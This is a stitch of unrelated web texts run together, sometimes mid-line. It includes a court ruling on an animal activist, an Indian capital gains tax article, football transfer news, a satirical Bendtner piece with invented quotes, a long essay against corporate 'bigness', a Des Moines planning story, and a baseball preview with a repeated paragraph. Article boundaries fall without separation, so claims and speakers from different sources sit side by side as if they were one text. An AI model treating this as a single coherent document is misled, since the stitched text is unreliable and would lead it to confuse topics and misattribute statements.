But Harris says he found no evidence that Krajnc gave the pigs anything other than water, and doing so had no impact on whether the slaughterhouse accepted them. To his knowledge, the animals were slaughtered and processed "in the usual fashion." He concludes: "I find that the Crown has failed to prove that Ms. Krajnc obstructed, interrupted or interfered with the lawful use, enjoyment or operation of property."
The justice was not convinced, however, by the defense's argument that pigs are not property, but people. He said that under Canadian law, this is not the case. "Ms. Krajnc and like-minded individuals may believe otherwise and they are fully entitled to that belief," Harris stated. "That does not however make it so."
Speaking after the case, Krajnc celebrated the judgment but called for further action. "The law needs
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a move largely opposed by players in the stock market.
According to a report in The Hindu BusinessLine, the Union Budget in February 2018 may take up the issue of LTCG tax. Further, the report added that the government may scrap the difference between the tax on long- and short-term capital gains or raise the holding period for long-term tax exemption to three years from one.
Before proceeding with the debate around the issue, it would be prudent to understand the mechanism.
Equity shares or equity mutual funds are considered capital assets. If you hold them for more than 12 months and then sell, the gains are called long term capital gains.
“Currently, LTCG from the sale of equity shares or equity mutual funds are exempt from tax, but if you sell them within 12 months, you'll earn short-term capital gains, then you must pay 15 percent. This is how the sale of listed equity shares and mutual funds is treated,” explains Archit Gupta, founder, and CEO, ClearTax, an online tax filing portal.
What will be the impact if it is introduced?
Experts largely see LTCG tax as a deterrent for equity investors. Since demonetisation, investors have flocked to equity markets and mutual funds (MFs), with inflows touching Rs 20,000 crore in November. For December, over Rs 8,000 crore was pumped in by domestic investors (DIIs) in the equity market.
“While the implication of the impost on LTCG's may sound like a death knell to investor sentiments and have an immediate adverse effect on the markets. Investors could shy away from equities and look at alternate investment modes,” Venu Madhav, Chief Operating Officer, Zerodha told Moneycontrol.
Meanwhile, ClearTax’s Gupta added that the amount of money coming into the market is massive. If this taxation is introduced, that confidence can get hurt
Is this a good time to roll it out?
While market participants believe that the introduction of such a tax could be a negative, even if it is implemented, would this be the right time to do so?
“Even if there is a need to introduce it, now is not the right time for that. I would say why get it at a time when the situation is looking bright for this industry,” Kamlesh Rao, Managing Director, and CEO at Kotak Securities told Moneycontrol. Gupta also concurs with this view, adding that the move will be seen as a very ‘anti-investor measure’.
Alternate Suggestions:
Experts like Madhav believe that the government may increase the holding period to three years. “It will require investors to orient themselves for minimizing portfolio turnover by focusing on buying stocks with a longer-term perspective.
“Without being judgmental about the outcome in the budget, investors should focus on what is most likely to happen rather than what should happen,” he said. One could also tax LTCG at different slabs, he added
While Gupta believes the existing securities transaction tax (STT) is a good system. “In any case, securities transaction tax (STT) is applicable on equity transactions done over stock exchanges. We hope this tax would not be introduced,” he added.
Sooner or later:
It is a move that is bound to happen, believes Madhav. “Considering that the government exchequer is in perpetual need of funds much so after the recent reductions in the collection of GST,” he said.
The talk of such a tax had been hinted by Prime Minister Narendra Modi in a speech last year. In December 2016, he had hinted at a likely introduction of a tax on income from stock markets. “Low or zero tax rate is given to certain types of financial income. I call upon you to think about the contribution of market participants to the exchequer,” the Prime Minister had said.Watford join Marseille in the race for Tottenham flop
1 Benjamin Stambouli in action for Tottenham
Watford have joined the race for Tottenham midfielder Benjamin Stambouli.
talkSPORT told you on Monday about Marseille’s interest in the Frenchman, who has struggled to find a spot in Spurs’ first-team this season.
The 24-year-old arrived at White Hart Lane last summer from Montpellier but it is thought that Tottenham are already willing to listen to offers for him.
And, according to L’Equipe, that has sparked interest from newly-promoted Watford who are ready to battle Marseille for his signature.
The Hornets are still on the hunt for a new manager after parting ways with Slavisa Jokanovic last month.
However, that has not stopped them beginning their summer recruitment drive, with the club identifying Stambouli as a main target.Are vertical stripes thinning or fattening?
By Max Grieve
Since arriving in Turin dressed like Alan Partridge, Nicklas Bendtner’s time at Juventus has been as action-packed as a night spent watching every one of the Die Hard films during a lightning storm with all the windows open. His request for the No. 10 shirt, then-recently vacated by Alessandro Del Piero, was promptly turned down due to concerns that he could be too good and overshadow its previous holder, so he humbly accepted the No. 17 instead, agreeing that it was best for everyone; not least and most importantly himself.
Bendtner has had a flying start to his career at the Juventus Stadium, making one appearance as a substitute in the 80th minute in a 2-0 win over Chievo Verona – that’s where Romeo and Juliet is set! He had one shot, then left the field with the rest of the players once the game had ended. Club coaches have remarked on the Danish striker’s weight; an issue which Bendtner has acknowledged, and is working to resolve. In response to claims that he is “fat”, Bendtner tweeted ‘Overweight? Yeah it’s really horrible, will need 4-5 months to get going. Ha ha,’ demonstrating a clear shift in his attitudes towards a humanly acceptable work ethic.
Juventus have an option to buy Bendtner at the end of the loan period, and one man at la Vecchia Signora believes that it’s an opportunity too good to pass up. 'Nicklas Bendtner is the best striker in the world. Of course Juventus would like to have Nicklas Bendtner stay at the end of the season, as would any club,’ said Bendtner.THE NEXT TIME I HEAR a politico or banker or Detroit executive talk about institutions “too big to fail,” I’ll direct them to the 34 percent of Americans who are obese. Last I heard, these big Americans, themselves a kind of cultural institution, were failing en masse, racked by diabetes, asthma, heart trouble, and bound for early death. The human form can only grow so big. Or I could point them to Pig #6707. Conceived in the laboratories of the U.S. Department of Agriculture during the 1990s, Pig #6707’s embryo was genetically altered with a human growth gene to develop a super-pig, bigger and faster-growing and more productive of meat. But the genetic alterations produced a monster, impotent and nearly blind, its legs arthritic, its body crippled, the creature able to stand up and be photographed only with the support of a plywood board. When asked by a reporter why he created the sick pig, the lead researcher said his intent was to make livestock more efficient.
There is, of course, a caution for our species in Pig #6707. When an organism grows beyond its design, nature will determine it to fail — a fact of life, in the strictest sense. Nowhere in evolutionary theory is hypertrophic growth posited as the key to success. What is key is optimum size, what we’d more accurately call right size. All living things have a right size, and historically evolved to that size because it was optimal for survival. So, for example, elephants and giraffes and rhinoceroses, though comparatively huge, are in fact just the right size — their bigness operating as a defense against predators, allowing for greater reach in forage, and much else. The same goes for polar bears and walruses and whales, which require extra tissue volume to retain heat against cold water and long winters. Dinosaurs, as we all know, were likely the biggest creatures to walk the Earth, but bigness didn’t help them meet the challenge of changing conditions. The largest of the dinosaurs disappeared altogether, the smaller ones got even smaller and eventually evolved into birds, while the animals of more moderate size, the marsupials and primitive mammals, found that being small in the first place was a blessing.
On the cellular level, biologists have long understood that large cells, the kind found in cancer, are always unstable and heading for collapse. In physics, too, the principle of right size holds fast. “Atoms of middle weight are stable and inert,” writes Sir George Thomson, the nuclear physicist and Nobel laureate, “but the light as well as the heavy atoms have stores of energy. If one thinks of the heaviest atoms as overgrown empires which are ripe for dissolution and only held together by special efforts... one may think, on the other hand, of the lightest of the atoms as individuals which run together naturally for mutual help and readily coalesce to form stable tribes and communities.” As with atoms and empires, so also the stars, which when grown too big will collapse under their own weight in the spectacle of the supernova. So also for animal communities, which rarely aim for bigness. Birds fledge their nests; they don’t keep crowding in. Bees and ants split their colonies when they grow too large, decentralization as instinct. Trees self-prune when laden with too much ice or snow or assailed by wind, dropping limbs to sustain the trunk. Naturalized goldfish in the carp family, kept in an outdoor garden, will only grow to a size proportionate to their pond — unless they are fed (and if fed too much, they grow terribly obese and soon lose the knack for swimming, procreating, and everything else that makes a fish a fish).
Nothing in nature just keeps growing, except where the usual evolutionary constraints are removed from the picture. Isolation from predators, in the example of island gigantism, allowed a host of species to grow to outsize proportions. The elephant bird of Madagascar, the giant gecko of New Zealand, the giant ducks of Hawaii, the giant rabbits of Mediterranean islands, the famed dodo — all were extinguished at astonishing speed after meeting the wily Homo sapiens and his diminutive camp followers (dogs, cats, rats). Without effective competition to keep them fit, the island gigantics were in fact terribly vulnerable when conditions changed.
The United States, it would seem, is suffering its own kind of island gigantism. Bigness is the prejudice of American life, our cultural albatross, the axiom being that when something is big it is automatically better. Why we’ve been saddled with love of bigness as a people perhaps comes down to the matter of geography, the vastness and richness that the landscape offered for the taking from the moment of European settlement. Size was our birthright, our conditioning, the justification for our exceptionalism, bigness our manifest destiny, and for a long time, whole centuries, it worked. The free land and timber and animals to be hunted down and coal and oil and ore to be dug out of the ground made us very wealthy very fast, taught us that growthmania was the norm, the shape of progress, the American way.
Thus, we prefer our Big Macs and our Whoppers, our food portions supersized, our big cars and sprawling cities, our enormous football players (growing bigger every year, the average offensive lineman now topping three hundred pounds), our big breasts and big penises and big houses (up from an average of 1,200 square feet in 1950 to 2,216 square feet today), our big armies with big reach, and, though we complain about it incessantly, big government that spends big money running up big debt (more now than at any other period in our history). That we allow corporations to grow to outrageous size is just another symptom of the disease. Bigness worship permeates every layer of the culture; it is racked into our brains with every turn of the advertising screw; it is a totalizing force.
WHEN LOUIS BRANDEIS WROTE The Curse of Bigness in 1934, he had been a lawyer for many years and, famously, a Supreme Court justice, and much of his work in the courts was busting up bigness. He was particularly concerned about the corporate monopolies that afflicted American life at the turn of the twentieth century. The Curse of Bigness was not a big book, because the arguments were pretty obvious. The great robber baron trusts — in oil, rubber, steel, tobacco, sugar, and railroads (and let’s not forget the Writing Paper Trust, the Woolen Trust, the Upper Leather Trust, the Paper Bag Trust) — had rigged bids, defrauded patentees, crushed labor movements, and could sway prices in any direction regardless of supply or demand. The ur-trust that by 1904 controlled 91 percent of U.S. oil production, Standard Oil Company of New Jersey, was found by the Justice Department to have secured its position via “discriminatory practices in favor of the combination by railroad companies; restraint and monopolization by control of pipe lines... ; contracts with competitors in restraint of trade;... espionage of the business of competitors, the operation of bogus independent companies” — the stratagems as expectable as they were ugly.
The threat that behemoths like Standard Oil posed to the republic, wrote Brandeis, was their concentration of economic power and decision making to the extent that they were effectively a state within the state, operating under their own laws. Many of the trusts were shattered, in a long struggle that Brandeis pioneered. It was his advocacy that helped push into effective action the antitrust mechanisms in government (the Sherman Antitrust Act of 1890, the Clayton Antitrust Act of 1914, the Federal Trade Commission), which led to the breakup of Standard Oil and many of its sister monopolies by 1911. “American development can come on the lines on which we seek it, and the ideals which we have can be attained, only if side by side with political democracy comes industrial democracy,” Brandeis wrote. “It is the relatively small man who pre-eminently needs the aid and solicitous care of industry and government. We have, gentlemen, to bear all the time that democratic view in mind.”
But we have not. Today we find ourselves in an unprecedented age of corporate gigantism. This situation is characterized not by the outright monopolies that worried Brandeis, but by the rise of oligopolies, a few very obese firms, the Big Three or Big Six, dominating their sectors while being insulated from failure by the hand of government. Republican and Democratic administrations alike for the last thirty years, spellbound by so-called laissez-faire ideology, abandoned their antitrust duties and watched as the total value of mergers and acquisitions rose to an unprecedented $20 trillion — abetting, in other words, the growth of stupendous privileges in the corporatocracy. At the same time, federal and state governments have done most everything they can to ignore, discourage, and imperil the small man in the world of business.
It’s an old story, and it bears repeating: Government subsidies favor large-scale standardized activity (in farming, manufacturing, retail — the list is long) at the expense of the local, the small, the diverse, the upstart. By 2005, four firms controlled 60 percent of the nation’s grain business. The four largest meatpackers controlled 70 percent of beef supply. In some states, the four largest grocery chains controlled as much as 88 percent of all retail sales. Today, a handful of merged energy companies, the Big Five, dominate the petroleum business, with ExxonMobil, Chevron-Texaco, Conoco-Phillips, BP, and Royal Dutch / Shell proving, in the words of Lord Browne, former chief executive of British Petroleum, that “many of the components of the old Standard Oil [trust have] been brought together.” The pattern of oligopoly holds in banking (Citigroup, Chase, and Bank of America now issuing one out of every two mortgages, two out of every three credit cards), accounting, tobacco, automobiles (the triopoly of GM, Ford, and Chrysler), defense, steel, telecommunications (Verizon, AT&T, and Sprint-Nextel), pharmaceuticals, airlines (Delta, American, United), in every major stage of the food business (even including grain elevator storage), and in the generation, transmission, and local distribution of electricity.
What we’re told is that all this consolidation, this predilection for bigness, always and every time — per the usual knee-jerk size-valuation — brings “synergies,” “economies of scale,” efficiency, innovation. But the opposite is too often the case. To take perhaps the obvious example: The Big Three automakers, which for the last half-century have trumpeted “efficiency” and “innovation” as the bywords to justify their great size, in fact failed over the years to produce automobiles at prices and quality comparable to smaller Japanese automakers like Honda and Nissan, the U.S. oligopoly by the 1980s requiring nearly twice as many engineering hours per new car project, and today taking up to two weeks to change plants for new model assembly while little Honda does it in one night. And all this for products that are more expensive and less advanced than those of the competitors. GM, among all automakers, was routinely the least efficient, the least visionary, its mastodonic bureaucracy trained to crush new ideas in the cradle. “At GM, if you see a snake, the first thing you do is to hire a consultant on snakes,” said Ross Perot during his tenure on GM’s board of directors. “Then you get a committee on snakes, and then you can discuss it for a couple of years. The most likely course of action is — nothing.” One might go so far as to charge that the neglect and recalcitrance of the Big Three in the field of invention, their strangling of innovation, has been a danger to the public and disastrous for the environment. They ignored and sometimes actively suppressed safety innovations (seatbelts, padded dashboards, shatterproof glass), a decision that arguably cost the lives of hundreds of thousands of motorists who otherwise might have survived crashes. They have consistently resisted fuel economy and emissions technologies. They colluded to destroy public transit in cities throughout the nation, with the planned effect of getting more people into cars (which rendered cities, by default, more destructively auto-dependent). They killed the electric car — invented out of their own labs, years before anyone had heard of a Prius (and now, as it happens, they are seeking tax dollars to reinvent it). If the nation is to be efficient in its use of fast-dwindling fossil fuels, innovative in curbing pollution and greenhouse gases — effective at imagining even the possibility of a sustainable future — the Big Three are, and will continue to be, a monstrous hindrance.
But why confine ourselves to automakers? Look at U.S. Steel, the “big sprawling inert giant,” in the words of the company’s own assessment, which survives only by government subsidy and protectionist measures from friends in Congress. The smaller steel companies, the so-called mini-mills operating throughout the U.S., produce at lower cost and with fewer man-hours and better pay for workers. Or look at IBM, where a senior vice-president once described the managerial hierarchy as “a giant pool of peanut butter we have to swim through.” The company was out-invented at every turn of the 1980s, in the dawn of personal computing, by upstart Microsoft, which preyed on the inventions of Apple. (Microsoft today is an oligopolist like no other, with the Windows operating system installed on 95 percent of personal computers worldwide.)
Or consider how giant pharmaceutical firms license scores of products from tiny innovative biotech labs every year, perfect and mass-market the inventions of the little companies, but invent few, if any, new drugs inside their own labs. It has always been thus: the big private research laboratories of the modern age are marked by their creative barrenness, a pattern identified by no less a luminary than the former vice-president of the General Electric Company back in 1953: “Not a single distinctively new electric home appliance has ever been created by one of the giant concerns — not the first washing machine, electric range, dryer... razor, lawn mower, freezer, air conditioner, vacuum cleaner, dishwasher, or grill. The record of the giants is one of moving in, buying out, and absorbing after the fact.”
Kodachrome film? Not invented by Eastman Kodak, but by two musicians in a bathroom. The earliest turbojet engines? Blew in from none of the major aircraft firms. The Google search platform now fast becoming — in one of those tasteless ironies we have learned to expect — an internet monopoly? Conceived by two geeks in a dorm room. You don’t paint the Sistine ceiling by committee, though perhaps one day a corporation will try. Creativity, in any case — the radical’s creativity, which is the only kind — is not what the corporation looks for. Rather, it pursues what William Whyte called “the fight against genius.” It looks for Whyte’s “Organization Man,” who seeks protection, safety, succor in bigness, who can be relied on to conform and submit. What it lacks in creativity, of course, the big corporation makes up for in coercion.
THE STANDARD OIL PLAYBOOK, it turns out, is very much alive, because with corporate obesity always comes the institutionalization of unfairness. Economists Walter Adams and James Brock have done more than any contemporary scholars to chronicle the effects on the ground. They find, for example, that the oligopolists in the grain and meat industries drive down prices for family farmers and ranchers, starving the small men out of business. The defense industry, they report, consolidates in the 1990s, and what follows is an explosion in contract fixing and price fraud, with procurement costs skyrocketing at the Pentagon. The oil oligopoly intentionally withholds gasoline supplies from the market in 2001 — a “profit-maximizing strategy,” in the words of the Federal Trade Commission — costing Americans billions of dollars in overcharges. The giant airlines tacitly collude to fix prices, always higher and higher, and so do the automakers, while service and quality continue to decline. In the ninety-seven top radio markets, where two broadcasters now control some 80 percent of the spectrum, we hear allegations of censorship, and we stop hearing the music and opinions considered unpalatable by corporate ownership. The power of bigness everywhere corrodes the regulatory instruments of government through the usual means (lobbyists, campaign money, revolving doors, conflicts of interest). And all this is tolerated, which is to say it is not questioned (so much for regulating with a “democratic view in mind”). It can’t be otherwise, when money and influence grows with every aggrandizement of industry, and corruption of the state is only a matter of the size of the checks one can write, the stature of the executives one can place to gorge in the henhouse. American government, write Adams and Brock, “is in constant danger of being transformed into a welfare state for powerful private interests.” The danger has swallowed us whole; we are now living inside its belly.
I think particularly of Goldman Sachs, one of the most powerful players in the banking oligopoly, which for two decades has been a berserker in the marketplace, sowing discord, leading people into shoddy investments and out of their homes, making huge money in the process, all while dictating terms to government and looting the public treasury. Matt Taibbi, in an article in Rolling Stone, recently deconstructed how effective Goldman has been in exploiting its bigness. The achievements in regulatory capture alone are momentous: Bush’s treasury secretary, Henry Paulson, architect of the 2008 bailouts, was a former CEO of Goldman; Robert Rubin, the treasury secretary under Clinton, spent twenty-six years at Goldman; former Goldman director Ed Liddy was placed in charge of the bailout of crumbling insurance goliath AIG (which owed Goldman billions of dollars); the last two heads of the Federal Reserve Bank of New York were Goldmanites; and on and on.
Taibbi reports that Goldman was among the chief promoters of the tech stock bubble of the 1990s (and profited from the collapse), the real estate bubble of the 2000s (and profited from the collapse), and throughout these debacles it was variously accused of securities fraud, tacit bribery, insider trading. Goldman’s commodities bubble predations in 2008 are perhaps most illustrative of how a bigness complex with tentacular reach touches all Americans. With friends placed on the Commodities Futures Trade Commission, Goldman quietly secured an exemption from a Depression-era federal law, specifically the Commodity Exchange Act of 1936, which limits the number of speculators in the commodities market, stating that if speculation gets too big in those basics of existence — corn, wheat, coal, oil — it’s a risk to society as a whole. Armed with the exemption, Goldman was free to set its traders loose in the commodities markets to balloon oil prices even though oil production was up and consumption was down. Due in part to Goldman’s manipulations, Taibbi writes, the average barrel of oil in the summer of 2008 was traded twenty-seven times before it reached the consumer, and with the parasitic middleman taking his cut through aggressive — often lawless — interference in the laws of the marketplace, we had four-dollar-a-gallon prices that crimped the livelihoods of tens of millions of drivers.
For this good work, the company demanded a bailout, stretching its many arms to twist the necks of these same taxpayers. Goldman executives were brought in to help plan the bailout arrangements, for themselves and other banks, and the $700 billion was dispersed mostly in secret, with little or no oversight. They helped to oversee the AIG bailout, because Goldman’s investments were bound up in AIG, and, as anticipated, when AIG received $85 billion at the direction of ex-Goldmanite Paulson at the Treasury, $13 billion was promptly routed from AIG to Goldman. Goldman then machinated for its own bailout, while Paulson opted to let Goldman’s chief competitor, Lehman Brothers, collapse for the pickings. This had the benefit of allowing Goldman to sop up Lehman’s share of the market, so that Goldman, among the prime perpetrators of excess that led to the crash, now grows even bigger, presumably to go on to further excesses.
What must be understood is that this bailing out of bigness is nothing new. It happened, for example, with Chrysler in 1979 — $4 billion was allocated by Congress so the company could continue making stupid decisions and crappy cars — and with Long Term Capital Management in 1998, after the hedge fund invested too much money in too much risk, which is just the model of profligacy required for a company to achieve the coveted status of “too big to fail.” The difference in the recent bailout is only its size, stretching into the hundreds of billions of dollars, saddling generations of Americans with government debt larger than any single generation past had to contend with.
There is no learning curve, only the upward sweep of profits and size and government intervention. Bailing out bigness masterfully incentivizes bigness, because to be big is apparently the ultimate indemnity against the rigors of the marketplace, i.e., against the real world in which you and I are supposed to muck around for a living. And the bigger the losses among the giants, the better — how else can one threaten the “system” and demand a bailout and grow still bigger? The small community and state banks in boring places like North Dakota are holding course just fine in the throes of the “crisis” — they were humble and frugal — as are many smaller banks that operate nationally. But the necessary consequence of bailing out losers like AIG and Goldman Sachs and the other giants is that the small guys, who were modestly surviving, lose business to the subsidized goliaths. The bailouts in their scale have one other big incentivizing consequence: they reframe the mistakes of the private sector as social catastrophes, which makes us all vulnerable by encouraging the socialization of foolishness and greed that would better remain the burden of boardroom executives. The private enterprise economy is revolutionized in the most cynical and ironic fashion, so that unfairness bears down like a jackboot on the small man, while it’s socialism for the rich, the big, the abusive, the powerful, the ones doing the stomping. “Marx, in his innocent, and now obsolete, way thought it would be the workers who would force the pace of socialism,” wrote John Kenneth Galbraith way back in the comparative innocence of 1985. “He must be looking with surprise at the way, in our time, it is the bankers and the big industrialists who lead the march, carry the flag.” And lo, swollen with government money, while the world economy immolated throughout the summer and fall of 2009, Goldman Sachs posted its largest profits ever.
In 1834, Roger B. Taney, who would become chief justice of the Supreme Court, warned about the supersized hostage-taking capacity of big concentrations in business. Listening to the bailout justifications throughout 2009, one could appreciate the fatefulness in Taney’s message. The big interests, he observed, “may now demand the possession of the public money... and if these objects are yielded to them from apprehensions of their power, or from the suffering which rapid curtailments on their part are inflicting on the community, what may they next not require? Will submission render such a corporation more forbearing in its course?” Ask Goldman Sachs.
The Founding Fathers were concerned about the problem from day one, though they described the influence and power of bigness in terms of “factions,” those groups of citizens — and now, more problematically, in a way the founders did not foresee, those groups of fake citizens known as corporations — “who are united and actuated by some common impulse of passion, or of interest, adverse to the rights of other citizens, or to the permanent and aggregate interests of the community.” Madison’s solution in the Federalist Papers was to allow a multiplicity of interests that, ideally, would balance each other out, so that no one interest could hold sway. In other words, competition for power among factions — that itself could only function in a decentralized system — was key to keeping all factions free.
The principles of representative democracy and the principles of free-market economics were able to coexist in the small-scale schematic of eighteenth-century America. But the bigness complexes of today require that we sacrifice one or the other. We can refuse to bail out the big companies while letting the economy falter — dragging into penury no small number of Americans — and fail in our oath to caretake the interests of the people. Or we can sacrifice free-market principles and fund the bailouts and let corporate obesity run riot till it crashes power-drunk into another wall — and it will, it always does. “The irony,” says James Brock, “is that we have established a reverse economic Darwinism, where we ensure the survival of the fattest, not the fittest, the biggest, not the best.”
THE 9/11 ATTACKS presented one of those classic moments when bigness failed spectacularly. The $75-billion-and-counting “central intelligence” apparatus, this lumbering giantist peanut-butter bureaucracy, was outsmarted by a dispersed, small-scale, “small-cell” operation of nineteen men armed with box cutters and bad English and funded by a Saudi exile languishing in the mountains of Afghanistan. I got on the phone recently with a sociologist at Yale University named Charles Perrow, who a few years ago wrote a book called The Next Catastrophe, in which he singles out Islamist terrorist networks for their adaptive dexterity, their adroitness in adversity, and for the schooling they offer in the vulnerability of being too big, which is to say too centralized. Terrorist networks “are very reliable,” says Perrow. “They can live largely off the land, can remain dormant for years with no maintenance costs and few costs from unused invested capital, and individual cells are expendable. There are multiple ties between cells, providing redundancy, and taking out any one cell does not endanger the network.”
Islamist terrorists operate, to their credit, Perrow says, by virtue of the same “resiliencies” and “decentralizations” that characterize small-firm networks, those systems of disparate though interrelated companies that most economists would associate with low economic development — because of their smallness — but that in fact do very well while spreading the wealth. Looking at small-firm networks, where each firm had twenty or fewer employees, Perrow found “efficiency, resiliency, reliability, innovativeness and positive social outcomes” in Japan, Taiwan, Italy, across Northern Europe, and, not least, in the Silicon Valley of the United States. Dependency, the chief factor in Perrow’s understanding of how catastrophes past and future can envelop whole societies, was what small-firm networks cut out of the equation. “Dependencies are low because there are multiple sources of suppliers, producers, customers, and distributors,” he writes. “Wealth is decentralized, since it is spread over many units, and thus the economic power of individuals or single units is kept in check while the power of the network is enhanced.”
It echoes what the founders were thinking, though presently such thoughts are considered wholly un-American. The American way in business and government and infrastructure is to systematically increase dependencies and call it “efficiency.” Perrow singles out three areas of dangerous concentration: in energy, in populations, and in economic/political power. In energy, there is not simply the fact that U.S. refining capacity agglomerates just where hurricanes like to hit, but that industrial storage and toxic processing facilities sit one atop the other, some of them prone to explosion, such as the ruptured oil storage tanks in the wake of Hurricane Katrina. It’s not just cities too big for the floodplains in which they sprawl, but the fact that they are supplied by electricity grids too centralized and increasingly prone to blackouts like the one that surprised much of the American Northeast in 2003, resultant from a single broken link in the grid. It’s not just that the grids are centralized and so tightly coupled, but that they became this way because energy companies, growing into oligopoloid monoliths, captured and undermined the centralized regulatory agencies of government. In Perrow’s analysis, it all interlinks, cross-pollinates, conduces to perpetuate ever-increasing bigness. The bigger and more complex and more total our systems and institutions become, Perrow is saying, the weaker and more vulnerable they really are.
Anybody who’s been on a camping trip with too many friends can understand Perrow’s thinking. Small groups of people prove to be more cohesive, effective, creative in getting things done. In the 1970s, the English management expert and business scholar Charles Handy put the ideal group size in work environments at “between five and seven” for “best participation, for highest all-round involvement.” Alexander Paul Hare, author of the classic Creativity in Small Groups, showed that groups sized between four and seven were most successful at problem solving, largely because small groups, as Hare observed, are more democratic: egalitarian, mutualist, co-operative, inclusive. Hundreds of studies in factories and workplaces confirm that workers divided into small groups enjoy lower absenteeism, less sickness, higher productivity, greater social interaction, higher morale — most likely because the conditions allow them to engage what is best in being human, to share the meaning and fruits of their labor.
This might have something to do with the evolution of the human brain over the hundred thousand years that man survived by hunting and gathering in small tribes. Cognitive neuroscience suggests that the regions of the brain controlling emotion are hard-wired for a small-group dynamic, that the frontal cortex itself is severely limited in the amount of information it can synthesize on a large scale. Indeed, these same researchers of group dynamics show that a disturbing thing happens as groups expand. Large groups develop quickly into a committee structure, with an executive or leadership that directs and often dominates the decision-making process. Power, in other words, is centralized, hierarchies are built, authority is increasingly top-down, consent is gently coerced or it arrives by default, as members of the group simply stop participating — not speaking, or initiating, or deciding, or acting, their invisibility growing in proportion as the group grows in size. In short, the experience of most members of the big group could accurately be described as one of alienation, powerlessness, meaninglessness.
Needless to say, in our very modern world of enormous institutions, we are daily confronted with this alienating experience, not merely in corporations, banks, automakers — to whom we say, “Yes, too big to fail, and nothing to be done about it!” — but in our most prestigious universities, our proudest labor unions, our staunchest advocates for environmental action and civil rights, our best hospitals, our gigantic corporate organic farms, not to mention the multi-trillion-dollar machine of a welfare government — the social safety nets, the regulatory functions, the housing and healthcare authorities, and all its octopus arms that reach into the lives of citizens. In such environments, people, as Paul Goodman once put it, are reduced to personnel, certainly if they don’t secure a place at the top of the heap or near it, which most do not; they become functionaries, bureaucrats, organizers for the organization, jugglers of abstractions. Goodman, a self-described anarchist, observed in 1963 that “no matter how benevolent the goals, the style of execution is dehumanizing. So long as people are transformed into personnel — management-personnel, labor-personnel, professional-personnel,” and to this Goodman goes on to add sales-personnel, consumer-personnel, client-personnel, voting-personnel, to which we might as well add military-personnel, security-personnel, police-personnel, killing-personnel — “we cannot expect the organization to be internally humanized by their persons, for there are no persons.”
IT WAS E. F. SCHUMACHER WHO, in the 1950s, as the chief economist at the British National Coal Board, came to the quite reasonable — at the time unthinkable — conclusion that energy supply, the coal that England so ravenously was burning up, could not satisfy an ideology of unlimited growth. It was, Schumacher concluded, a suicide pact with Planet Earth. What Schumacher offered instead in the book
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who was Principal’s vice president for marketing for 25 years. “The business community here is really strong and responsible and they took leadership on these things out of enlightened self interest.” They also realized they needed fresh ideas.
Ironically, the critical link was made by art collector Melva Bucksbaum, whose husband, Martinpioneered the suburban shopping center, founding General Growth Properties, the mall-making behemoth behind everything from Tyson’s Galleria in suburban Washington, D.C. to Chicago’s Water Tower Place. In the spring of 1987, Bucksbaum took a well-timed call from a friend of hers, architect Bruce Graham, whose buildings — including the Sears Tower and John Hancock Center — had transformed Chicago’s skyline. Graham had a colleague to recommend, an innovative urban thinker looking for a Midwestern city to experiment on. Bucksbaum was thrilled. Soon that visionary, Mario Gandelsonas, found himself in a car hurtling up Fleur Drive from the Des Moines International Airport, headed for downtown.
He was horrified at what he saw.
***
In the summer of 1987, Gandelsonas was a 49-year-old professor at the Yale School of Architecture. Born and raised in Argentina and educated in Paris, he’d long had a fascination with Alexis de Tocqueville’s observations on the social groups and civic associations that give American democracy its distinct bottom-up power. “This civic spirit still exists,” Gandelsonas said, “but I think they are much more visible in a small city in the heartland than in a place like New York.” Graham, his mentor, suggested Des Moines might be the perfect place for him to put into practice his theories that the future of cities might lie in such unlikely places. Des Moines had strong cultural associations, an engaged leadership eager for new ideas and was surprisingly wealthy, meaning there were resources available to implement a good idea.
An enclosed system of skywalks was installed in the 1970s and 1980s, allowing Des Moines workers and shoppers to move from building to building downtown without bracing for cold weather. The plan backfired, though, when it deprived sidewalks and public pavilion of life and commerce. | Mark Peterson/Redux Pictures for Politico Magazine
Gandelsonas’ urban planning philosophy was simple: don’t treat a city like a map that needs to be redrawn and corrected, but as a living organism with its own purpose, personality and innate characteristics. Successful interventions are ones that enhance and enable the organism’s socio-economic metabolism by removing blockages or creating new centers of potential growth. Instead of producing a total and comprehensive master plan for a city, Gandelsonas sought to identify a series of “moments,” civic projects that would enhance its fabric and unleash its potential. Or so the theory went.
The car ride in from the airport was sobering. At the central city’s gateway, what Gandelsonas called its “front yard,” travelers were greeted by a gas station and seven blocks of car dealerships set among radiator shops and pawn brokers. Downtown itself “looked like science fiction,” he recalls. “It was mid-morning and there were no people on the streets. At lunchtime, the streets were still empty, but for about an hour the skywalks were full of people. At 4:30 they started filling up again as everyone rushed to the nearest parking structure and then for half an hour there was a full-on traffic jam as 50,000 people tried to get to West Des Moines. Then the city was empty again. For me this was the perfect picture of a place that was totally dysfunctional.”
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Des Moines
RedevelopmentAnd if you don't think even the last possible spot in the field has enormous value, the 2014 San Francisco Giants would like to have a word with you.
Baseball's ceremonial second half is upon us. Clarity is not. The standings, by and large, are a wonderfully muddled mess. There's room even for some currently sub-.500 teams to sneak into a playoff spot.
Baseball's ceremonial second half is upon us. Clarity is not. The standings, by and large, are a wonderfully muddled mess. There's room even for some currently sub-.500 teams to sneak into a playoff spot.
And if you don't think even the last possible spot in the field has enormous value, the 2014 San Francisco Giants would like to have a word with you.
So let's dig into things here at the not-so-mathematical midpoint and see what the second half might have in store.
Three major storylines
1. Surprising teams tested
No teams have been bigger surprises than the Astros and Twins, both of whom have leaped into legit contention arguably ahead of schedule.
Houston basically owned the American League West in the first half... right up until it came to a close. The defending division champion Angels got hot just as the Astros lost six straight and eight of nine, a combination of confluent events that gave the Halos a half-game lead at the break. It will be fascinating to see how this predominantly young Houston team handles the adversity, and furthermore it will be fascinating to see what Jeff Luhnow and Co. do to influence events before the July 31 non-waiver Trade Deadline with a well-stocked farm system that gives them one of the best bargaining positions in the game.
Video: Young stars shine bright for Astros in first half
Save for a few stray days in late May/early June, Paul Molitor's Twins haven't owned the AL Central. That's the Royals' job. But they do hold the AL's top Wild Card spot just ahead of those Astros. You can attribute that to a dramatically improved rotation (3.86 ERA after a 5.06 mark last year) that, for the first time in a long time, has legitimate depth (which Minnesota might even be able to deal from this month). The Twins are also getting a major midseason spark from hot prospect Miguel Sano (1.138 OPS in 11 games) and could be sparked by youth again once Byron Buxton is healthy.
Video: DET@MIN: Sano puts Twins ahead with two-run homer
2. Disappointing teams try to claw back
Here's looking at you, Red Sox, Tigers, Indians, White Sox, Mariners and Padres, all of whom had a penchant for appearing in favorable positions on otherwise intelligent people's preseason predictions.
